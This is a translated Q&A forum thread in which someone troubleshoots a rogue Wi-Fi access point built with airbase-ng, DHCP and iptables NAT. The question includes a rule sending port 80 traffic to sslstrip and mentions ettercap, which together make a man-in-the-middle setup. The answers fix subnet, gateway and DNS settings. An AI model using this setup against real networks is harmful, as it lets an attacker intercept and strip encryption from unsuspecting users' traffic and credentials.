假冒 AP 客户端的互联网

假冒 AP 客户端的互联网

我一直在尝试设置一个假 AP 以进行测试。我成功地让它工作起来airbase-ng,并为客户端设置了一个 DHCP 服务器以获取 IP 地址,一切正常。我的笔记本电脑有一个用于 AP 的外部 wifi 卡和一个用于互联网的内部 wifi 卡。但是,当我启动 AP 时,客户端(我的手机)无法执行 Web 浏览器搜索,我的笔记本电脑也无法执行,即使笔记本电脑有第二张未处于监控模式的 wifi 卡。

这是我的配置:

sudo ifconfig wlan1 down
sudo ifconfig wlan1 up
sudo airbase-ng -c 11 -e ANET wlan1



sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
sudo ifconfig at0 mtu 1800
sudo route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
sudo iptables -P FORWARD ACCEPT
sudo iptables --append FORWARD --in-interface at0 -j ACCEPT
sudo iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sudo /etc/init.d/isc-dhcp-server start

ip_forwarding 已启用。

这是来自教程。然后我运行 sslstrip 和 ettercap。

这是我的 DHCP 子网配置

Authoritative;
Default-lease-time 600;
Max-lease-time 7200;
Subnet 192.168.1.0 netmask 255.255.255.0{
option routers 192.168.2.1;
option subnet-mask 255.255.255.0;
option domain-name "ANET";
option domain-name-servers 192.168.1.170;
range 192.168.1.2 192.168.1.40;
}

dhcpd 命令响应:

Multiple interfaces match the same subnet: wlan0 wlan1
Multiple interfaces match the same shared network: wlan0 wlan1
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0
Multiple interfaces match the same subnet: wlan0 wlan1
Multiple interfaces match the same shared network: wlan0 wlan1
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0

ettercap 显示来自客户端的 DHCP 请求和确认:

DHCP: [192.168.1.1] OFFER : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [192.168.1.1] OFFER : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [C0:BD:D1:15:2B:64] REQUEST 192.168.1.2
DHCP: [192.168.1.1] ACK : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [192.168.1.1] ACK : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"

我的wlan0上的IP地址是192.168.1.170。

编辑:

DHCP 配置:

        Authoritative;
    Default-lease-time 600;
    Max-lease-time 7200;
    Subnet 192.168.2.0 netmask 255.255.255.0{
    option routers 192.168.2.1;
    option subnet-mask 255.255.255.0;
    option domain-name "ANET";
    option domain-name-servers 192.168.1.170;
    range 192.168.2.2 192.168.2.40;
}

Iptables:

sudo ifconfig at0 192.168.2.1 netmask 255.255.255.0
sudo ifconfig at0 mtu 1800
sudo route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
sudo iptables -P FORWARD ACCEPT
sudo iptables --append FORWARD --in-interface at0 -j ACCEPT
sudo iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sudo /etc/init.d/isc-dhcp-server start
sudo sslstrip -f -p -k 10000

答案1

到目前为止您已经记录了两个问题:

  1. 您的笔记本电脑两侧的 IP 子网相同。您的笔记本电脑充当 NAT 网关,有点像增强版的 IP 路由器。IP 路由器两侧需要有不同的子网,否则它们不知道如何路由。

  2. 您已配置 DHCP 服务器以告知 softAP 的客户端使用您的笔记本电脑作为其 DNS 服务器,但您的笔记本电脑尚未配置为充当 DNS 服务器或代理。

您可以通过将 softAP 客户端的子网更改为 192.168.2.0/24 来解决此问题,但保留 DHCP 服务器进程,告知客户端使用 192.168.1.1 作为 DNS 服务器。这样,他们的 DNS 请求将通过您的笔记本电脑 NAT 到达您的上游 NAT 网关,该网关上可能确实正在运行 DNS 代理服务。

答案2

为了解决这个问题。我遵循了 Spiff 的回答,并尝试了一些其他方法,最终成功了。

1)我按照 Spiff 的要求将 DHCP 配置文件中的 IP 子网更改为 192.168.2.0/24。

2)我在 iptables 和option routersDHCP 配置文件中将网关设置为 192.168.2.1

3) 最后一点:我在 DHCP 配置文件中将 DNS 更改为 Google 的 8.8.8.8。我的 AP 可能阻止了将其用作 DNS 的功能……只是猜测

相关内容